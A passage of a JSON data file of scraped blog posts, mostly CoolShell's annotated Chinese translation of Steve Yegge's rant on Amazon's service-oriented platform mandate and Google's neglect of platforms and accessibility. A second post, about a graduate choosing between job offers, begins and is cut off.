    "content": "<html><body><p>Steve Yegge， Amazon的前员工，现任Google员工，其本来想在Google+上和Google的员工讨论一些关于平台的东西，结果不小心把圈子设成了Public，结果这篇文章就公开给了全世界，引起了剧烈的反应。发布后很快他就马上把这篇文章删了，不过，互联网上早备份了下来——<a href=\"https://raw.github.com/gist/933cc4f7df97d553ed89/24386c6a79bb4b31fb818b70b34c5eab7f12e1ff/gistfile1.txt\" target=\"_blank\">SteveY’s Google Platforms Rant</a>。后来，Steve在<a href=\"https://plus.google.com/110981030061712822816/posts/bwJ7kAELRnf\" target=\"_blank\">其Google+上作了一些解释</a>，大体是说他喝多了，而且又是在凌晨，所以大脑不清，文章中的观点很主观，极端且不完整，还有Google的PR对他很好，等等，等等 。</p>\n<p>几个星期前看到时就一直都想翻译一下这篇文章，不过因为最近事情太多，文章又很长，所以现在才翻译完成，翻译的不好，还请大家指正。</p>\n<h3>导读</h3>\n<p>在你阅读正文以前，我想说明几点，希望你注意一下：</p>\n<ul>\n<li>Steve这个人非常喜欢写长篇大论的东西。而且比较喜欢辛辣调侃和恶搞的文风，这点大家要注意！</li>\n</ul>\n<ul>\n<li>文中先“骂”Amazon公司，再通过“骂”Amazon的创始人贝索斯Bezos并烘托出他的的悟性和雄心，最后教育了一下Google。</li>\n</ul>\n<ul>\n<li>我把文章分成了三个部分，这样方便大家阅读和讨论。第一部分只是个人情绪化的抱怨，第二部分是说Amazon的成长，第三部分是教育Google，我觉得第二部和第三部分是重点。</li>\n</ul>\n<ul>\n<li>对于我们来说，我们应该获取Steve那些关于平台（Platform）相关的那些有价值的观点。尤其是他说的Amazon如何进化成一个平台性的公司，以及阐述Google应该怎么做的那些观点。</li>\n</ul>\n<ul>\n<li>关于对Amazon的那些指责，我想说，6年，对于一个世界级的互联网公司，已经很不一样了。</li>\n</ul>\n<h3 style=\"text-align: left;\">正文</h3>\n<h4 style=\"text-align: left;\">第一部分</h4>\n<p>我曾在Amazon工作了六年半，现在，我在Google的日子也差没不多这么长了。对于这两家公司，有一件事总是萦绕着我——这种感觉一天比一天强烈──那就是，Amazon每件事都做错了，而Google每件事都做对了。当然啦，这是很笼统的话，但却是惊人的准确，相当的疯狂吧。大概有一百甚至两百种不同的地方可以让我们去比较这两个公司，而Google可能在每一项都能胜出，如果我记的没错，除了其中3项以外。因为，我曾用电子表格把这些项都列出来了，只是法务部门不会让我给任何人看，即使人事招募部门很喜欢这个报表。</p>\n<p><span id=\"more-5701\"></span></p>\n<p>这里，让我先给你个例子让你稍微体会一下：Amazon的人事雇用流程有根本上的缺陷，因为各个团队各招各的人，以至于，各团队之间的招聘标准相当的不一致性，即使他们通过各种努力来统一标准，但是实际操作上却是一团糟；他们没有真正的SRE（陈皓注：Site Reliability Engineer ），工程师们什么事都要做（陈皓注：所谓SDE – Someone Do Everything）、几乎没时间编码。当然，不同的部门有不同的情形，不过，这取决于你的运气。他们不搞慈善，也不帮扶贫困人群，也不搞社区贡献，或是其它相似的活动。在那里，他们从来不谈这些，或许只有在说笑话的时候才会提到。他们的办公环境是个灰尘及污迹四处的像农场一样的隔间，他们在公共区域连一分钱装修的都不会花，而且，他们的薪水和福利相当差，只是近来与Google和Facebook竞争人才，这个差距才变得非常地小。不过，他们没有我们有的津贴或额外奖金——他们只是给你录用信上的那个数字，就这么多。他们的程序代码完全就是灾难，无论什么都没有任何的工程标准，除了各别团队有一些。</p>\n<p>公平起见，他们的确有套非常非常不错的版本控制管理系统，而这是我们（Google）需要尽力赶上他们的地方，他们还有一个漂亮的发布/订阅系统，我们也没有相对应的东西。不过，就大体而言，他们有的不过是一堆蹩脚的工具，用关系数据库来读取或写入状态机里的信息中罢了。我们不应该这么搞就算这样做是可以。</p>\n<p>这就是我所所说的那3件事中的两件事Amazon比Google强的，那就是的他们的发布/订阅系统以及版本控制和管理系统。</p>\n<p>我猜你也许会为他们争辩到——他们要更快更早地推出服务并通过狂热地迭代来不断地改进和完善。他们把服务发布的优先级看得比任何事都重，包括工程纪律或是其它一堆可能会让其花时间的事务。所以，即使这么做让他们在市场上有了某种程度的竞争优势，但也造成其他足够多的问题，总之，这样的做法算不上是个漂亮的扣篮。</p>\n<p>但是，他们有一件事做的非常非常好，其好到可以把其他政治，理念，技术上的消耗和混乱<strong>完全</strong>弥补回来。</p>\n<h4>第二部分</h4>\n<p>Jeff Bezos是个臭名昭彰的微管理经理人，他的微管理都管理到了Amazon零售网站上的每一个显示像素。他雇佣了Larry Tesler——Apple的首席科学家，他可能是全世界最有名也最受尊敬的人机交互接口专家，然而，Bezos忽略了Larry三年来提出的每一个建议，直到Larry最后——明智地——终于离开了公司。Larry本应做一些大型可用性（Usability）研究，并可以系统地了解那个根本就没有人能够搞懂、使用那该死的网站，可是，Bezos对于那些像素不放手，这些页面上的那几百万个显示像素就像是他的孩子一样。所以，他的这些孩子还留着，而Larry没有。</p>\n<p>当然，微管理不是第3项Amazon做的比我们好的事。我的意思是，没错，他们微控管理做地非常地好，但我不会把这项列在他们的强项清单上。我这样说只不过是为了我下文做铺垫，帮助你了解我后面要说的事儿。我们现在要说的这个人，是在多个严肃的公开场合说要来Amazon工作就应该付他钱才对的人。当有人跟他意见不同时，他会递出写有他名字的黄色即时贴以提醒那个人“谁是公司的老大”。这家伙是……，Steve Jobs，我想，除了没有品味和设计能力，他们很相似。千万别误解我，Bezos是个绝顶聪明的人，只不过他把那些正常的管控搞得像嗑了药的嬉皮士一样罢了。</p>\n<p>所以，有一天，Jeff Bezos下了一份命令。当然，他总是这么干，这些命令对人们的影响来说就像用橡皮槌敲击蚂蚁一样。这个命令大概是2002年，我想误差应该是在正负1年内 —— 这个命令发布的范围非常地广，设想很大，让人眼珠子鼓出来的那种，这种惊讶程度和其他的命令相比，就好像你突然收到公司给你的奖金一样让人惊讶。</p>\n<p>这份大命令大概有如下几个要点：（陈皓注：这里是本篇文章的要点！如果这真是Bezos发出来的，那么太赞了，Bezos完全就是一个系统架构大师啊，那可是2002年左右啊。作者调侃Bezos完全是正话反说啊）</p>\n<blockquote>\n<ul>\n<li>1) 所有团队的程序模块都要以通过Service Interface 方式将其数据与功能开放出来。（陈皓注：Service Interface也就是Web Service）</li>\n</ul>\n<ul>\n<li>2) 团队间的程序模块的信息通信，都要通过这些接口。</li>\n</ul>\n<ul>\n<li>3) 除此之外没有其它的通信方式。其他形式一概不允许：不能使用直接链结程序、不能直接读取其他团队的数据库、不能使用共享内存模式、不能使用别人模块的后门、等等，等等，唯一允许的通信方式只能是能过调用 Service Interface。</li>\n</ul>\n<ul>\n<li>4) 任何技术都可以使用。比如：HTTP、Corba、Pubsub、自定义的网络协议、等等，都可以，Bezos不管这些。（陈皓注：Bezos不是微控经理吗？呵呵。）</li>\n</ul>\n<ul>\n<li>5) 所有的Service Interface，毫无例外，都必须从骨子里到表面上设计成能对外界开放的。也就是说，团队必须做好规划与设计，以便未来把接口开放给全世界的程序员，没有任何例外。</li>\n</ul>\n<ul>\n<li>6) 不这样的做的人会被炒鱿鱼。</li>\n</ul>\n<ul>\n<li>7) 谢谢，祝你有个愉快的一天！</li>\n</ul>\n</blockquote>\n<p>哈哈！你们这150个前Amazon的员工，当然能马上看出第7点是我开玩笑加上的，因为Bezos绝不会关心你的每一天。</p>\n<p>不过第6点是很真实的，于是，所以人们都去工作。Bezos并派出了几位首席牛头犬来监督并确保进度，领头的是和熊一样大的牛头犬：Rick Dalzell，Rick是以前是陆军突击队队员，西点军校毕业生，拳击手，和沃尔玛的首席虐刑官 / CIO，而且他也是个高大、和蔼、令人敬畏的人，还是经常使用”hardened interface”词的人，Rick 本来的走路和说话都比较hardened interface，所以不用多说，每个人都得干 出有<strong>重大的</strong>进展，这样Rick才能看得见。</p>\n<p>在接下来的几年，Amazon内部转变成面向服务架构SOA(Service-Oriented Architecture)，在这华丽转身的过程中，他们学到了相当巨多巨多的东西。我在的那个时候，世界上就有很多很多的关于SOA的学术文档，但在Amazon的那种超大规模的面前，世间的这些文档就好像告诉印第安纳琼斯（陈皓注：电影夺宝奇兵男主角）过马路前要先看看两边有没有来车一样没用，Amazon的研发工程师们在这个过程中发现了很多很多的问题，并从中学到了很多。下面只是他们这些问题中的沧海一粟：</p>\n<ul>\n<li>pager escalation（陈皓注：生产线上问题的寻呼系统）变得比较困难，因为ticket可能会转过来转过去（陈皓注：ticket就是处理问题的工单），只到转了20次，都找到真正能解决问题的团队和人。如果每一个呼叫都花去团队的15分钟的响应时间，那在找到真正的团队之前，几小时就已经过去了，除非，你能建造出很多很多的脚手架，测量标准和报告。</li>\n</ul>\n<ul>\n<li>每一个和你的相关团队突然间都可能成为一个潜在性的DOS攻击者。没人可以让事情有进展，直到在每一个Service里放上配额（quota）与节流阀（throttling）的机制。</li>\n</ul>\n<div>\n<ul>\n<li>监控与QA是被统一了。如果你不进行一个大规模的SOA，你就不会这么去想。但是，等到你的Service说，“是的，我还好！”，但实际情况可能是，服务器里唯一能正常运作的功能就是一个快乐的机器声音在呼叫你：“我很好，收到，收到”。为了要确认整个服务能正常运作，你需要对Service的每一个部分都去Call一下。这个问题会以递归的形式地出现，直到你的监控系统能够全面性地系统地检查所有的Services和数据，此时，监控系统就跟自动化测试QA没什么两样了，所以两者完美的统一了。</li>\n</ul>\n</div>\n<ul>\n<li>如果你有上百个Services，而且你的程序只能通过由这些Services来跟其他团队的程序做沟通，那么，没有一套Service发现机制的话，你就不能找到这些Service。所以，你得先有一套Service的注册机制，这也是一个Service。所以，Amazon有一套全体适用的Service注册机制，以例可以通过反射机制来找到Service，并知道Service的API，以及是否可用，在哪儿。</li>\n</ul>\n<ul>\n<li>调试其他人的代码以调查问题变得非常的难，几乎都不可能，除非有一套全面性的标准的方式，他可以在可被调试的沙盒里运行所有的Services。</li>\n</ul>\n<div>上面这些只是极少数几个例子，在Amazon在进化的过程中，Amazon遇到这样的问题可能一打甚至数百个，Amazon都一一学习和总结了。对于把Service外部化甚至还有很多几乎没有人会想到的非常生僻的东西，当然，也不会有你想像的那么多，Amazon都学到了。把业务组织成Service让团队学会了不能相信对方，就如同他们不能信任公司以外的程序员一样。</div>\n<p>当我在2005年中期离开Amazon加入Google时，这个努力进化的过程还在进行时中，但那时已经相当的先进了。从Bezos颁布法令的时间到我离开的时候，Amazon已经把文化转变成了“一切以Service第一”为系统架构的公司，今天，这已经成为他们进行所有设计时的基础，包括那些绝不会被外界所知的仅在内部使用的功能。</p>\n<p>那时，如果没有被解雇的的恐惧他们一定不会去做。我是说，他们今天仍然怕被解雇，因为这基本上是那儿每天的生活，为那恐怖的海盗头子Bezos工作。不过，他们这么做的确是因为他们已经相信Service这就是正确的方向。他们对于SOA的优点和缺点没有疑问，某些缺点还很大，也不疑问。但总的来说，这是正确的，因为，SOA驱动出来的设计会产生出平台（Platform）。</p>\n<p>是的，这就是Bezos的法令要达成的目标。他以前（现在也是）一点不关心各团队是否好，也不关心他们使用什么样的技术，实际也不去管他们如何运作他们的业务，除非团队开始把事搞砸。但是，Bezos比绝大多数的亚马逊人都很早很早就领悟到，Amazon必须成为一个平台。</p>\n<p><strong>如果是你，你会想到要把一个在线卖书的网站设计成为一个有扩展性，可程序化的平台？你真的会这样想吗？</strong></p>\n<p>嗯，第一件Bezos领悟到的大事是，为了销售书籍和各种商品需要的基础架构，这个基础架构可以被转变成为绝佳计算平台（Computing Platform）。所以，现在他们有了Amazon Elastic Compute Cloud（亚马逊弹性运算云平台EC2），Amazon Elastic MapReduce，Amazon Relational Database Service（亚马逊关系数据库服务），以及其他可到AWS <a href=\"http://aws.amazon.com/\">aws.amazon.com</a>查得到的一堆Service。这些服务是某些相当成功的公司的后台架构，比如 我个人喜欢的 reddit 是这一堆成功公司的其中一个。</p>\n<p>另一大领悟是，他知道他们不可能永远都创造出对的东西。我认为，当Larry Tesler说他妈妈完全搞不懂怎么使用那个该死的网站时，Bezos的某根筋被触动了，当然，我也不清楚到底是谁家母亲，这无关紧要，因为没有人的母亲能够会用那个该死的网站。事实上，连我这个在那工作超过5年的人都觉得Amazon网站的接口令人胆战惊心。</p>\n<p>我并不是很确定Bezos是如何领悟到的——领悟到他不能创造 出一个产品能适用于所有的人。不过，怎么来的这不重要，重要的是他的确领悟了。这种事有一个正式的术语，叫Accessibility，这是计算机世界中最最重要的事情了。</p>\n<p>最！重！要！的！事！</p>\n<p>如果你在心里面在想“哼？你是说，像盲人和聋人那种Accessibility吗？”，那么，你不是唯一这样想的人，因为我已经知道有<strong>很多很多</strong>像你这样的人：这种东西对你们这种人来说是不可能有正确的Accessibility，所以这事你还不能理解。当然，不能理解也不是你的错，就像眼盲，耳聋，或是其他行动不便的残疾人，这些也不是他们的错。当Software——或ideal-ware——如果因为某些原因不能被存取或使用，那么，这就是软件或是那想法的错了。这就是Accessibility failure。</p>\n<p>就如同生命中那些重大的事一样， 每个事都有一个邪恶的双胞胎姊妹，它在幼年都受到父母的溺爱，现在它已经成长为同等强大的复仇女神（是的，Accessibility有不只一个复仇女神），这个复仇女神叫安全性（Security），他们在一起总是争执不休，冤家一对。</p>\n<p>不过，我会和你争论Accessibility要比安全性来的重要多了，因为零Accessibility就意为着你根本没有做出产品来，而如果安全性为零，你仍然还是可以有一个某个程度上成功的产品，譬如说Playstation Network。</p>\n<p>对了，也许你还没注意到，我其实可以为这篇文章写出一整本书，很厚的一本，其中填满了那家我曾工作过的公司里关于蚂蚁与橡皮槌的事。但是，我可能也就永远无法在这发表这短篇的夸夸其谈了，而你也就无法读到除非我现在开始结尾。</p>\n<h4>第三部分</h4>\n<p>那三件Amazon比Google强的中的最后一件事是，Google很不会做平台（Platform）。我们就不懂什么是平台。我们就根本不知道平台的内涵。你们其中一些人明白，但是你们是少数派。在Google过去这六年来，越清楚这一点就越让我痛苦。我曾有一线希望，来自Microsoft和Amazon，以及近来Facebook的竞争压力，会让我们全体人都清醒过来，并开始打造我们公司的Service。不是那种特制的或半生不熟的，而是多少和Amazon的类似的那种：一次到位，真正的，没有作弊或是欺骗，并且把它放在最高优先级的位置。</p>\n<p>但实际上却不是，这个事被放在了好像是第10还是第11位，或是第15位，我不知道，反正是相当低。只有少数几个团队严肃地看待这个事，但大多数的团队不是<strong>从没有</strong>思考过这个事，就是只有一很少的人很鼠目寸光地在看待这个事。</p>\n<p>对大多数的团队来说，只要是让他们以提供给别人那种可程序化的方式存取他们的数据与运算的方式来开发软件，就算几个小小的粗糙的Service，对他们来说也是翻天覆地。他们大部分人都认为他们在做产品，但他们只是在提供那些凄惨粗糙的Service。回去看看前面我所列的那些部分的Amazon学到的东西，然后告诉我，哪一个粗糙的Service能让你有超凡脱俗的产品。迄今为止，就我所知，一个也没有。就算是这些粗糙的东西很不错，不过这就好像要汽车的时候，你却只有汽车的零件。</p>\n<p><strong>没有平台的产品是没用的，再精确一点，去平台化的产品总是被平台化的产品所取代</strong>。</p>\n<p>Google+是我们完全失败的不懂Platform最明显的例子，从最高层的管理层（嗨，Larry、Sergey、Eric、Vic，你们好）一直到最最底层的员工（嘿，你）都不懂。我们全部统统都不懂。平台Platform的黄金守则是Eat Your Own Dogfood（吃你自己的狗食——自己都要用自己的平台）。Google+这个平台是个杯具的事后抄袭者。我们在发布它的时候完全没有任何API。我查了一下，目前也只有少得可怜的API。Google+的一个团队的成员在发布API时告诉我这个事，我问：“这是Stalker API（用来偷窥内部数据的API）吗？”，她郁闷地说，“是啊”。我的意思是，我那只是个玩笑话，但是，不，我们提供的唯一的API就是取得某人的信息流，所以，我想我把玩笑开到自己头上了。</p>\n<p>Microsoft知道“狗食守则”至少有20年了。这已经成为他们世世代代文化的一部分了。不能是你吃人类的食物而给你的开发人员们喂狗食。那样做只会是为了短期的成功而掠夺了平台长期价值。平台就是要你考虑得长远。</p>\n<p>Google+就像膝跳反射，一种短视的的东西，是基于以为Facebook其伟大产品的成功作出的错误判断。但那不是为什么他们能成功的东西。Facebook的成功是因为他们建立了一个可以让外界在其上上面开发的产品群。所以对Facebook对每个人来都不一样。有些人把全部时间花在“Mafia Wars”上，有些人则是花在“Farmville”（开心农场）。那里还有成百上千个不同的高质量的时间消耗类的游戏，所以，人们总是可以在那里找到他们想要的。</p>\n<p>我们的Google+团队看了看说：“哎呀，看来我们需要一些游戏，让我们去找一些人来为我们写些游戏吧”。你是否开始看到这样的的思考有多么不靠谱了吗？问题在于我们试图在预测人们想要什么，然后推出产品给他们。</p>\n<p>你不能这么做。真的不能。也不可靠。在这个世上，甚至在整个计算机的历史上，只有极少数几个人能够这么干，Steve Jobs是其中一个。但是我们没有Steve Jobs。对不起，我们真的没有。</p>\n<p>Larry Tesler有可能说服了Bezos相信他并不是Steve Jobs，但Bezos意识到他不需要成为Steve Jobs也能提供给所有人好的产品：大家感到容易使用的接口与工作流。Bezos明白他只要有让第三方开发人员来做的平台，这些东西自然就会有的。</p>\n<p>我要向一些人道歉，这些人会觉得我所说的是再明显不过的了。是的，的确是巨明显的。只是我们没有去做。我们没有领会平台，我们也无法领会到Accessibility。这两者本来就是同一件事，因为平台会解决Accessibility。而平台就是Accessibility。</p>\n<ul>\n<li>是的，Microsoft领会到了。而且你们也像我一样知道Microsoft他们对这些东西一知半解。那是因为他们能够了解平台完全是他们商业上意外性的副产品，是他们一开始的业务就是提供平台。所以他们在这个领域有着三十多年的经验。如果你去看看 <a href=\"http://msdn.com/\" target=\"_blank\">msdn.com</a>，并多花点时间浏览一下，假设你以前从没去看过，你等着被吓到吧，因为那里面的东西可是多得不能再多。他们拥有<strong>成千成千成千</strong>个API。他们拥有一个<strong>超巨大</strong>的平台。说实话，太巨大了，因为他们要霸占一切，但至少他们做了。</li>\n</ul>\n<ul>\n<li>Amazon也领会了到了。Amazon的AWS(<a href=\"http://aws.amazon.com/\">aws.amazon.com</a>)相当的惊人。去看看吧，四处点一下。令人羞耻吧。我们今天什么都还没有。</li>\n</ul>\n<ul>\n<li>很明显Apple也领会到了。他们做了在基础上不开放的选择，具体来说是移动平台。但是他们明白什么是Accessibility，并且他们知道如何燃起第三方开发团体的力量，而且他们吃自己的狗食。你知道吗？他们的狗食做得很好吃啊。他们的APIs比Microsoft的要干净不知道多少倍，而且是远古的时候就这样了。</li>\n</ul>\n<ul>\n<li>Facebook也领会到了。这正是让我所担心的。这使得我不得我抬起懒惰屁股写下这些东西。我恨写Blog。我恨……Plus（指Google Plus）不管怎么称呼它，反正在Google+上发表长篇大论，就算这是个糟糕的地方，但是你还是希望Google能成功.我真希望！我的意思是，Facebook想挖我，而且很容易就去了。但Google是我的家，所以我坚持我这个小小的家庭干涉，就算你不舒服。</li>\n</ul>\n<p>等到你为Microsoft与Amazon提供的平台感到神奇后，当然，我想也你可能会被Facebook吓到（我不敢去看，因为我不想让我太沮丧），让我们回头看看 <a href=\"http://developers.google.com/\">developers.google.com</a> 。是不是有很大的差别？我们的这个平台看起来像是你家小学五年级的侄子搞出来的东西一样——让一个小学五年级的学生，试着为一个强大的的平台公司去设计平台，就像像我们问这个小学生：“如果这家公司什么资源都有，那你会做出个什么东西来？” 一样。</p>\n<p>这里请不要误解我——我知道一个事实，dev-rel 团队为了发布这些API曾经不得不去“搏斗”。据我所知，这个团队很不错，因为他们知道什么是平台，并且他们如英雄般努力挣扎地要做出来，然而遇到的却是“平台冷漠”的环境，难听点还是那种有敌意的环境。</p>\n<p>我只是在直白地描述出一下 <a href=\"http://developers.google.com/\" target=\"_blank\">developers.google.com</a> 在外人眼里是什么样子。它看起来很幼稚。Maps APIs在哪呢，老天啊？其中有些东西还是实验性的项目，我点进去看的APIs……他们都毫无价值。他们很明显都是些真正的狗食。甚至都称不上是好的有机食品。跟我们内部APIs比起来，他们全部简直就是猪屎马粪。</p>\n<p>当然，也不要错误地理解我对Google+的看法。他们还不算是最差的。这是文化氛围的事。我们现在做的简单来说就是要进行一场战争，是一场失败很多的少数的平台派和那些强大的信心坚持的产品派的战争。</p>\n<p>那些从头到尾明白理解供外部可程序化的平台概念的团队都是受压迫的人——Maps跟Docs团队浮现在我脑海中，而且我也知道GMail是这个方向的先头部队，但是他们很难得到资金注入，因为这不是我们文化的一部分。Maestro的资金完全没法和Microsoft Office开发平台的资金相比：就像小白兔和暴龙相比一样。Docs团队知道自己永远无法和Office竞争，除非他们能赶上Office的脚本能力，而且他们得不到他们相要的资源。我的意思是我假定他们没有，现在应用的脚本能力只在电子表格中有，而且没有为API设置键盘快捷键。在我看来，这个团队完全没有被重视。</p>\n<p>具有讽刺意的是，Wave是个伟大的平台，愿他能安静地长眠。我们需要知道，做一个平台并不会马上给带来成功。平台需要杀手级应用。Facebook——他们供应了的涂鸦墙和朋友关系网等其他东西——则是Facebook平台的杀手级应用。但是，如果你说没有Facebook平台，仅有Facebook应用也能像今天这样成功，那么，这会是一个非常严重的错误。</p>\n<p>你知道吗？人们总是在说Google的傲慢自大。我是个Google人，所以我和你一样当听到那些话都会觉得很愤怒。但总体而言，我们并不傲慢。我们大约99%不自大。我在文章开头时就写到——如果你回去看看—— 我是这样描述Google的“所有的事都做对了”。我们知道人们为什么要这么说我们自大，因为我们没有雇用他们，或是因为他们对我们的政策不爽，或是那一类的事情。他们推断出我们自大是因为这样会让他们心理平衡一些。（陈皓注：作者在这里的反话正说）</p>\n<p>但是，当我们摆出那种我们知道怎么给用户设计出完美的产品的姿态时，你最好相信我，我们就是笨蛋。你可以说是自大，天真，或是别的什么，无所谓，但最终的结果就是我们干的很愚蠢。因为，这世界不可能有一个产品对所有人都是完美的。</p>\n<p>你看，我们的浏览器居然不能让人设定默认的字号。这就是我们对Accessibility的公然冒犯。我的意思是，我总有一天会老的，我也会得老花眼，并会变瞎的。我的意思是我不会变瞎，但是如果你到了40岁，你的老花眼让你看不清近的东西。那么，字号的选择会成为生和死的问题：某用户就会被完全排除在产品之外。但是Chrome团队就是这么NB傲慢：他们想要开发出无需配置的产品，他们对此相当自豪，去你TMD是瞎子还聋子，管你是谁，在你剩下的日子每访问一个页面都按一下Ctrl-+吧。</p>\n<p>并不仅是他们是第一个。问题是，我们是一家“产品”公司，一直一直都是。我们开发的最成功最有吸引力的产品——搜索引擎，那样巨大的成功让我们产生了很多定式和偏见。</p>\n<ul>\n<li>Amazon过去也是家产品公司，一道神秘的力量使得Bezos领悟到他们需要平台。那道神秘力量来源于，他们被 逐渐蒸发的市值逼到墙角了，不得不想方设法突围出来。但他当时所拥有的只有一群工程师和他们的一堆计算机……除非他们能变成印钞机……你可以看到他们是怎么搞出来AWS的，而不是像我们Google+一样事后诸葛亮。</li>\n</ul>\n<ul>\n<li>Microsoft从一开始就是个平台，所以他们有很多很多的实践。</li>\n</ul>\n<ul>\n<li>Facebook：我有些没看透。我不是专家，不过我很肯定他们一开始也是一个产品，并且成功了很长时间。所以我不知道他们什么时候开始转变成为平台的。应该是很久以前的事了，因为他们要成为平台后，Mafia Wars这玩意才会出现（而Mafia Wars也很老了）。也许，Facebook只是看一眼我们，就问到：“我们如何击败Google？他们少了什么？”</li>\n</ul>\n<p>我们面对的问题非常的庞大，因为我们需要经过剧烈的文化转变后，我们才能迎头赶上。我们没有内部的SOA平台，所以我们外部也没有。这就是说，我们整个公司都“没有领会到”：产品经理没有，工程师没有，产品团队没有，没人领会到。就算是个别人有，比如你你有，那也相当于没有，除非我们在生死存亡的时候。我们不能这样不断推出产品，并装作我们以后会把这些产品转变成迷人美丽的可扩展式的平台。我们试过了，不行。</p>\n<p>平台的黄金守则，“Eat Your Own Dogfood 吃自己的狗食”，换句话说，“先打造出自己使用平台，然后把它用在所有的地方”。你不能事后再做，那样做就太困难了——你去问问那些把MS Office平台化、把Amazon平台化的人。如果你放在后面做，那么你比一开始要花十倍的精力才能做对。你不能作弊，你不能让内部软件走秘密通道以取得特定的优先权限，不为什么，你必需从一开始就要解决这个问题。</p>\n<p>我不是说现在做已经太迟了，但我们等的越长，我们就会越接近——“太迟了”。</p>\n<p>老实说，我不知道这篇文章怎么收尾。我今天在这里说得太多了。因为这篇文章花了我6年时间。请包涵我言语冒犯之处，包涵我可能误解了一些产品，团队，或某个人。也许我们真的在开始做了很多平台方面的东西，只是我没看到。我只想说声对不起。</p>\n<p>但是，我们现在开始必需把事做对了！</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5815.html\"><img alt=\"来信， 创业 和 移动互联网\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5815.html\">来信， 创业 和 移动互联网</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22398.html\"><img alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" height=\"150\" src=\"../wp-content/uploads/2023/02/chatgpt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9508.html\"><img alt=\"PFIF网上寻人协议\" height=\"150\" src=\"../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9508.html\">PFIF网上寻人协议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6142.html\"><img alt=\"三个事和三个问题\" height=\"150\" src=\"../wp-content/uploads/2011/12/amazon_global_selling-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6142.html\">三个事和三个问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5901.html\"><img alt=\"腾讯，竞争力 和 用户体验\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5901.html\">腾讯，竞争力 和 用户体验</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5701.html\">SteveY对Amazon和Google平台的吐槽</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-12-20 三个事和三个问题.html",
    "content": "<html><body><p>从9月份开始，是很多在校毕业生的择业时期，有很多很多朋友写邮件给我让我帮他们参考如何选择工作（对不起我无法在第一时间回信，因为实在是太多了，我那繁忙工作和生活都没办法让我能即时回复），并且还有一个已经工作了多年的技术很强的朋友因为跳槽没有跳好，也和我说了很多他 的感受。从这个过程中让我有了很多感触和想法想和大家分享，本来这篇文章1个月前就想写的，只是要写下来时不知道如何整理这么多的东西和思绪。今天也不知道，但是一定要写了，不然，我的这些感触和想法就会越来越不新鲜了。</p>\n<p><strong>注：这篇文章里的所有的故事都是真实的</strong>，<strong>其不可避免地会加上我<strong><strong><strong>强烈的</strong></strong></strong>个人情怀和个<strong><strong>人色彩</strong></strong></strong>，<strong>叙述的过程可能比较乱，但我能确保这些都是我的肺腑之言</strong>。</p>\n<h4>第一个事：网友的来信</h4>\n<p>第一个故事是一个杭州的学生的故事，其有两个offer，一个是北京的（雅虎研发中心），另一个是杭州的一个做商业智能软件的公司，也是美国的上市公司。他在给我的来信内心纠结地说：</p>\n<blockquote><p>雅虎其实很想去，虽然这几年雅虎走下坡，但还是大公司，牌子硬，里面牛人也多，有助于自己水平的提升。但感觉北京环境不好，生活不是那么舒坦，也搞不定户口，所以我去的话也只能干个三五年就得考虑跳槽到别的城市安家落户了。这么一跳，在北京积累的各种资源却又带不走 。</p>\n<p>杭州，比北京更适合生活，户口不是问题，朋友多，这个公司也比较宽松，有较多的业余时间跟朋友们一起搞点东西。而且这些年这个公司上升的势头，在国内设研发中心也才4年，规模不大，公司本身规模也还不大，我觉得机会还不错。再加上离家近，对家人大概可以多些照应。</p>\n<p>关于未来换工作，雅虎做的是搜索，广告，移动互联这几个方面的，东西在互联网企业里面都比较通用，以后跳槽的话，面相对比较宽。杭州的那个做商业智能的公司，据了解其他做的比较好的也就几个大公司如SAP，IBM有这方面的业务。</p></blockquote>\n<p>我和这个同学发了邮件，也打了长途电话，我基本上是这样回复的——</p>\n<p><span id=\"more-6142\"></span></p>\n<p style=\"padding-left: 